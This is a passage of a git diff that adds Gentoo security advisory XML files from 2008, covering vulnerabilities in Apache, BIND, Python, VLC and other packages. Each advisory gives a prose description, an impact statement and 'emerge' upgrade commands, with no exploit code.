+    The Apache HTTP server is one of the most popular web servers on the
+    Internet.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple vulnerabilities have been discovered in Apache:
+    </p>
+    <ul>
+    <li>
+    Dustin Kirkland reported that the mod_ssl module can leak memory when
+    the client reports support for a compression algorithm (CVE-2008-1678).
+    </li>
+    <li>
+    Ryujiro Shibuya reported that the ap_proxy_http_process_response()
+    function in the mod_proxy module does not limit the number of forwarded
+    interim responses (CVE-2008-2364).
+    </li>
+    <li>
+    sp3x of SecurityReason reported a Cross-Site Request Forgery
+    vulnerability in the balancer-manager in the mod_proxy_balancer module
+    (CVE-2007-6420).
+    </li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could exploit these vulnerabilities by connecting to
+    an Apache httpd, by causing an Apache proxy server to connect to a
+    malicious server, or by enticing a balancer administrator to connect to
+    a specially-crafted URL, resulting in a Denial of Service of the Apache
+    daemon.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Apache users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-servers/apache-2.2.9&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6420">CVE-2007-6420</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1678">CVE-2008-1678</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2364">CVE-2008-2364</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 14 Jun 2008 10:47:39 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 16 Jun 2008 23:51:04 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 16 Jun 2008 23:51:13 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200807-07.xml b/xml/htdocs/security/en/glsa/glsa-200807-07.xml
new file mode 100644
index 00000000..bea41c45
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200807-07.xml
@@ -0,0 +1,77 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200807-07">
+  <title>NX: User-assisted execution of arbitrary code</title>
+  <synopsis>
+    NX uses code from the X.org X11 server which is prone to multiple
+    vulnerabilities.
+  </synopsis>
+  <product type="ebuild">nx, nxnode</product>
+  <announced>July 09, 2008</announced>
+  <revised>July 09, 2008: 01</revised>
+  <bug>230147</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-misc/nxnode" auto="yes" arch="*">
+      <unaffected range="ge">3.2.0-r3</unaffected>
+      <vulnerable range="lt">3.2.0-r3</vulnerable>
+    </package>
+    <package name="net-misc/nx" auto="yes" arch="*">
+      <unaffected range="ge">3.2.0-r2</unaffected>
+      <vulnerable range="lt">3.2.0-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    NoMachine's NX establishes remote connections to X11 desktops over
+    small bandwidth links. NX and NX Node are the compression core
+    libraries, whereas NX is used by FreeNX and NX Node by the binary-only
+    NX servers.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple integer overflow and buffer overflow vulnerabilities have been
+    discovered in the X.Org X server as shipped by NX and NX Node (GLSA
+    200806-07).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could exploit these vulnerabilities via unspecified
+    vectors, leading to the execution of arbitrary code with the privileges
+    of the user on the machine running the NX server.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All NX Node users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-misc/nxnode-3.2.0-r3&quot;</code>
+    <p>
+    All NX users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-misc/nx-3.2.0-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200806-07.xml">GLSA 200806-07</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Mon, 07 Jul 2008 00:06:37 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 07 Jul 2008 00:06:48 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200807-08.xml b/xml/htdocs/security/en/glsa/glsa-200807-08.xml
new file mode 100644
index 00000000..45e805f4
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200807-08.xml
@@ -0,0 +1,75 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200807-08">
+  <title>BIND: Cache poisoning</title>
+  <synopsis>
+    A weakness in the DNS protocol has been reported, which could lead to cache
+    poisoning on recursive resolvers.
+  </synopsis>
+  <product type="ebuild">bind</product>
+  <announced>July 11, 2008</announced>
+  <revised>July 11, 2008: 01</revised>
+  <bug>231201</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-dns/bind" auto="yes" arch="*">
+      <unaffected range="ge">9.4.2_p1</unaffected>
+      <vulnerable range="lt">9.4.2_p1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    ISC BIND is the Internet Systems Consortium implementation of the
+    Domain Name System (DNS) protocol.
+    </p>
+  </background>
+  <description>
+    <p>
+    Dan Kaminsky of IOActive has reported a weakness in the DNS protocol
+    related to insufficient randomness of DNS transaction IDs and query
+    source ports.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    An attacker could exploit this weakness to poison the cache of a
+    recursive resolver and thus spoof DNS traffic, which could e.g. lead to
+    the redirection of web or mail traffic to malicious sites.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All BIND users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-dns/bind-9.4.2_p1&quot;</code>
+    <p>
+    Note: In order to utilize the query port randomization to mitigate the
+    weakness, you need to make sure that your network setup allows the DNS
+    server to use random source ports for query and that you have not set a
+    fixed query port via the "query-source port" directive in the BIND
+    configuration.
+    </p>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1447">CVE-2008-1447</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 09 Jul 2008 08:55:27 +0000">
+    vorlon
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 09 Jul 2008 14:42:45 +0000">
+    vorlon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 11 Jul 2008 17:35:39 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200807-09.xml b/xml/htdocs/security/en/glsa/glsa-200807-09.xml
new file mode 100644
index 00000000..b53a7d43
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200807-09.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200807-09">
+  <title>Mercurial: Directory traversal</title>
+  <synopsis>
+    A directory traversal vulnerability in Mercurial allows for the renaming of
+    arbitrary files.
+  </synopsis>
+  <product type="ebuild">mercurial</product>
+  <announced>July 15, 2008</announced>
+  <revised>July 15, 2008: 01</revised>
+  <bug>230193</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-util/mercurial" auto="yes" arch="*">
+      <unaffected range="ge">1.0.1-r2</unaffected>
+      <vulnerable range="lt">1.0.1-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Mercurial is a distributed Source Control Management system.
+    </p>
+  </background>
+  <description>
+    <p>
+    Jakub Wilk discovered a directory traversal vulnerabilty in the
+    applydiff() function in the mercurial/patch.py file.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to import a specially crafted
+    patch, possibly resulting in the renaming of arbitrary files, even
+    outside the repository.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Mercurial users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-util/mercurial-1.0.1-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2942">CVE-2008-2942</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 15 Jul 2008 10:37:24 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 15 Jul 2008 11:41:04 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 15 Jul 2008 11:48:10 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200807-10.xml b/xml/htdocs/security/en/glsa/glsa-200807-10.xml
new file mode 100644
index 00000000..37b07d2e
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200807-10.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200807-10">
+  <title>Bacula: Information disclosure</title>
+  <synopsis>
+    A vulnerability in Bacula may allow local attackers to obtain sensitive
+    information.
+  </synopsis>
+  <product type="ebuild">bacula</product>
+  <announced>July 21, 2008</announced>
+  <revised>July 21, 2008: 01</revised>
+  <bug>196834</bug>
+  <access>local</access>
+  <affected>
+    <package name="app-backup/bacula" auto="yes" arch="*">
+      <unaffected range="ge">2.4.1</unaffected>
+      <vulnerable range="lt">2.4.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Bacula is a network based backup suite.
+    </p>
+  </background>
+  <description>
+    <p>
+    Matthijs Kooijman reported that the "make_catalog_backup" script uses
+    the MySQL password as a command line argument when invoking other
+    programs.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could list the processes on the local machine when the
+    script is running to obtain the MySQL password. Note: The password
+    could also be disclosed via network sniffing attacks when the script
+    fails, in which case it would be sent via cleartext e-mail.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    A warning about this issue has been added in version 2.4.1, but the
+    issue is still unfixed. We advise not to use the make_catalog_backup
+    script, but to put all MySQL parameters into a dedicated file readable
+    only by the user running Bacula.
+    </p>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5626">CVE-2007-5626</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 15 Jul 2008 10:41:52 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 15 Jul 2008 11:29:18 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 15 Jul 2008 11:29:25 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200807-11.xml b/xml/htdocs/security/en/glsa/glsa-200807-11.xml
new file mode 100644
index 00000000..a63ac6c1
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200807-11.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200807-11">
+  <title>PeerCast: Buffer overflow</title>
+  <synopsis>
+    A buffer overflow vulnerability in PeerCast may allow for the remote
+    execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">peercast</product>
+  <announced>July 21, 2008</announced>
+  <revised>July 21, 2008: 01</revised>
+  <bug>220281</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-sound/peercast" auto="yes" arch="*">
+      <unaffected range="ge">0.1218-r1</unaffected>
+      <vulnerable range="lt">0.1218-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    PeerCast is a client and server for P2P-radio networks.
+    </p>
+  </background>
+  <description>
+    <p>
+    Nico Golde reported a boundary error in the HTTP::getAuthUserPass()
+    function when processing overly long HTTP Basic authentication
+    requests.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could send a specially crafted HTTP request to the
+    vulnerable server, possibly resulting in the remote execution of
+    arbitrary code with the privileges of the user running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All PeerCast users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-sound/peercast-0.1218-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2040">CVE-2008-2040</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 08 Jul 2008 00:36:04 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 12 Jul 2008 19:41:58 +0000">
+    vorlon
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 20 Jul 2008 15:19:30 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200807-12.xml b/xml/htdocs/security/en/glsa/glsa-200807-12.xml
new file mode 100644
index 00000000..84ea28b9
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200807-12.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200807-12">
+  <title>BitchX: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities in BitchX may allow for the remote execution of
+    arbitrary code or symlink attacks.
+  </synopsis>
+  <product type="ebuild">bitchx</product>
+  <announced>July 21, 2008</announced>
+  <revised>July 21, 2008: 01</revised>
+  <bug>190667</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-irc/bitchx" auto="yes" arch="*">
+      <vulnerable range="le">1.1-r4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    BitchX is an IRC client.
+    </p>
+  </background>
+  <description>
+    <p>
+    bannedit reported a boundary error when handling overly long IRC MODE
+    messages (CVE-2007-4584). Nico Golde reported an insecure creation of a
+    temporary file within the e_hostname() function (CVE-2007-5839).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to connect to a malicious IRC
+    server, resulting in the remote execution of arbitrary code with the
+    privileges of the user running the application. A local attacker could
+    perform symlink attacks to overwrite arbitrary files on the local
+    machine.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    Since BitchX is no longer maintained, we recommend that users unmerge
+    the vulnerable package and switch to another IRC client:
+    </p>
+    <code>
+    # emerge --unmerge &quot;net-irc/bitchx&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4584">CVE-2007-4584</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5839">CVE-2007-5839</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 07 Jul 2008 22:27:23 +0000">
+    vorlon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 07 Jul 2008 22:27:35 +0000">
+    vorlon
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 17 Jul 2008 11:41:45 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200807-13.xml b/xml/htdocs/security/en/glsa/glsa-200807-13.xml
new file mode 100644
index 00000000..a0bdc306
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200807-13.xml
@@ -0,0 +1,72 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200807-13">
+  <title>VLC: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities in VLC may allow for the execution of arbitrary
+    code.
+  </synopsis>
+  <product type="ebuild">vlc</product>
+  <announced>July 31, 2008</announced>
+  <revised>July 31, 2008: 01</revised>
+  <bug>221959</bug>
+  <bug>230692</bug>
+  <access>local, remote</access>
+  <affected>
+    <package name="media-video/vlc" auto="yes" arch="*">
+      <unaffected range="ge">0.8.6i</unaffected>
+      <vulnerable range="lt">0.8.6i</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    VLC is a cross-platform media player and streaming server.
+    </p>
+  </background>
+  <description>
+    <ul><li>Remi Denis-Courmont reported that VLC loads plugins from the
+    current working directory in an unsafe manner (CVE-2008-2147).</li>
+    <li>Alin Rad Pop (Secunia Research) reported an integer overflow error
+    in the Open() function in the file modules/demux/wav.c
+    (CVE-2008-2430).</li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to open a specially crafted .wav
+    file, and a local attacker could entice a user to run VLC from a
+    directory containing specially crafted modules, possibly resulting in
+    the execution of arbitrary code with the privileges of the user running
+    the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All VLC users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-video/vlc-0.8.6i&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2147">CVE-2008-2147</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2430">CVE-2008-2430</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 22 May 2008 17:39:12 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 03 Jun 2008 15:20:33 +0000">
+    vorlon
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 22 Jul 2008 11:52:52 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200807-14.xml b/xml/htdocs/security/en/glsa/glsa-200807-14.xml
new file mode 100644
index 00000000..55375b1a
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200807-14.xml
@@ -0,0 +1,65 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200807-14">
+  <title>Linux Audit: Buffer overflow</title>
+  <synopsis>
+    A buffer overflow vulnerability in Linux Audit may allow local attackers to
+    execute arbitrary code.
+  </synopsis>
+  <product type="ebuild">audit</product>
+  <announced>July 31, 2008</announced>
+  <revised>July 31, 2008: 01</revised>
+  <bug>215705</bug>
+  <access>local</access>
+  <affected>
+    <package name="sys-process/audit" auto="yes" arch="*">
+      <unaffected range="ge">1.7.3</unaffected>
+      <vulnerable range="lt">1.7.3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Linux Audit is a set of userspace utilities for storing and processing
+    auditing records.
+    </p>
+  </background>
+  <description>
+    <p>
+    A stack-based buffer overflow has been reported in the
+    audit_log_user_command() function in the file lib/audit_logging.c when
+    processing overly long arguments.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could execute a specially crafted command on the host
+    running Linux Audit, possibly resulting in the execution of arbitrary
+    code with the privileges of the user running Linux Audit.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Linux Audit users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=sys-process/audit-1.7.3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1628">CVE-2008-1628</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Mon, 21 Jul 2008 20:07:20 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 21 Jul 2008 20:07:28 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200807-15.xml b/xml/htdocs/security/en/glsa/glsa-200807-15.xml
new file mode 100644
index 00000000..074edab8
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200807-15.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200807-15">
+  <title>Pan: User-assisted execution of arbitrary code</title>
+  <synopsis>
+    A buffer overflow vulnerability in Pan may allow remote attacker to execute
+    arbitrary code.
+  </synopsis>
+  <product type="ebuild">pan</product>
+  <announced>July 31, 2008</announced>
+  <revised>July 31, 2008: 01</revised>
+  <bug>224051</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-nntp/pan" auto="yes" arch="*">
+      <unaffected range="ge">0.132-r3</unaffected>
+      <unaffected range="rge">0.14.2.91-r2</unaffected>
+      <unaffected range="eq">0.14.2</unaffected>
+      <vulnerable range="lt">0.132-r3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Pan is a newsreader for the GNOME desktop.
+    </p>
+  </background>
+  <description>
+    <p>
+    Pavel Polischouk reported a boundary error in the PartsBatch class when
+    processing .nzb files.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to open a specially crafted .nzb
+    file, possibly resulting in the remote execution of arbitrary code with
+    the privileges of the user running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Pan users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-nntp/pan-0.132-r3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2363">CVE-2008-2363</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 01 Jul 2008 08:32:55 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 04 Jul 2008 13:13:53 +0000">
+    vorlon
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 22 Jul 2008 11:35:24 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200807-16.xml b/xml/htdocs/security/en/glsa/glsa-200807-16.xml
new file mode 100644
index 00000000..c1b2dfa1
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200807-16.xml
@@ -0,0 +1,109 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200807-16">
+  <title>Python: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities in Python may allow for the execution of arbitrary
+    code.
+  </synopsis>
+  <product type="ebuild">python</product>
+  <announced>July 31, 2008</announced>
+  <revised>July 19, 2009: 02</revised>
+  <bug>230640</bug>
+  <bug>232137</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-lang/python" auto="yes" arch="*">
+      <unaffected range="rge">2.4.4-r14</unaffected>
+      <unaffected range="ge">2.5.2-r6</unaffected>
+      <unaffected range="rge">2.4.6</unaffected>
+      <vulnerable range="lt">2.5.2-r6</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Python is an interpreted, interactive, object-oriented programming
+    language.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple vulnerabilities were discovered in Python:
+    </p>
+    <ul>
+    <li>
+    David Remahl of Apple Product Security reported several integer
+    overflows in core modules such as stringobject, unicodeobject,
+    bufferobject, longobject, tupleobject, stropmodule, gcmodule,
+    mmapmodule (CVE-2008-2315).
+    </li>
+    <li>
+    David Remahl of Apple Product Security also reported an integer
+    overflow in the hashlib module, leading to unreliable cryptographic
+    digest results (CVE-2008-2316).
+    </li>
+    <li>
+    Justin Ferguson reported multiple buffer overflows in unicode string
+    processing that only affect 32bit systems (CVE-2008-3142).
+    </li>
+    <li>
+    The Google Security Team reported multiple integer overflows
+    (CVE-2008-3143).
+    </li>
+    <li>
+    Justin Ferguson reported multiple integer underflows and overflows in
+    the PyOS_vsnprintf() function, and an off-by-one error when passing
+    zero-length strings, leading to memory corruption (CVE-2008-3144).
+    </li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could exploit these vulnerabilities in Python
+    applications or daemons that pass user-controlled input to vulnerable
+    functions. Exploitation might lead to the execution of arbitrary code
+    or a Denial of Service. Vulnerabilities within the hashlib might lead
+    to weakened cryptographic protection of data integrity or authenticity.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Python 2.4 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-lang/python-2.4.4-r14&quot;</code>
+    <p>
+    All Python 2.5 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-lang/python-2.5.2-r6&quot;</code>
+    <p>
+    Please note that Python 2.3 is masked since June 24, and we will not be
+    releasing updates to it. It will be removed from the tree in the near
+    future.
+    </p>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2315">CVE-2008-2315</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2316">CVE-2008-2316</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3142">CVE-2008-3142</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3143">CVE-2008-3143</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3144">CVE-2008-3144</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Thu, 31 Jul 2008 15:42:37 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 31 Jul 2008 15:45:02 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200808-01.xml b/xml/htdocs/security/en/glsa/glsa-200808-01.xml
new file mode 100644
index 00000000..3fdb8c4e
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200808-01.xml
@@ -0,0 +1,89 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200808-01">
+  <title>xine-lib: User-assisted execution of arbitrary code</title>
+  <synopsis>
+    xine-lib is vulnerable to multiple buffer overflows when processing media
+    streams.
+  </synopsis>
+  <product type="ebuild">xine-lib</product>
+  <announced>August 06, 2008</announced>
+  <revised>August 06, 2008: 01</revised>
+  <bug>213039</bug>
+  <bug>214270</bug>
+  <bug>218059</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-libs/xine-lib" auto="yes" arch="*">
+      <unaffected range="ge">1.1.13</unaffected>
+      <vulnerable range="lt">1.1.13</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    xine-lib is the core library package for the xine media player, and
+    other players such as Amarok, Codeine/Dragon Player and Kaffeine.
+    </p>
+  </background>
